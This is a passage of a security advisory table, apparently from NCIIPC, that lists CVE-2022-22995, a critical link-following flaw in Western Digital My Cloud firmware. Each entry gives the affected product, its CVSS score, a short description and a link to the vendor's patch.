Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	security-vulnerabilities	
Product: my_cloud_ex2100_firmware					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	O-WES-MY_C-070422/1100
Product: my_cloud_ex2_ultra_firmware					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	O-WES-MY_C-070422/1101
Product: my_cloud_ex4100_firmware					
Improper Link Resolution Before File Access	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-	O-WES-MY_C-070422/1102

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Link Following')			exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	security-vulnerabilities	
Product: my_cloud_firmware					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	O-WES-MY_C-070422/1103
Product: my_cloud_home_firmware					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	O-WES-MY_C-070422/1104
Product: my_cloud_mirror_gen_2_firmware					
Improper Link Resolution Before File Access	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary	https://www.westerndigital.com/support/product-security/wdc-	O-WES-MY_C-070422/1105

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Link Following')			writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	22005-netatalk-security-vulnerabilities	
Product: my_cloud_pr2100_firmware					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	O-WES-MY_C-070422/1106
Product: my_cloud_pr4100_firmware					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	O-WES-MY_C-070422/1107
Product: wd_cloud_firmware					
Improper Link Resolution Before File	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration	https://www.westerndigital.com/support/product-	O-WES-WD_C-070422/1108

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Access ('Link Following')			allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	security/wdc-22005-netatalk-security-vulnerabilities	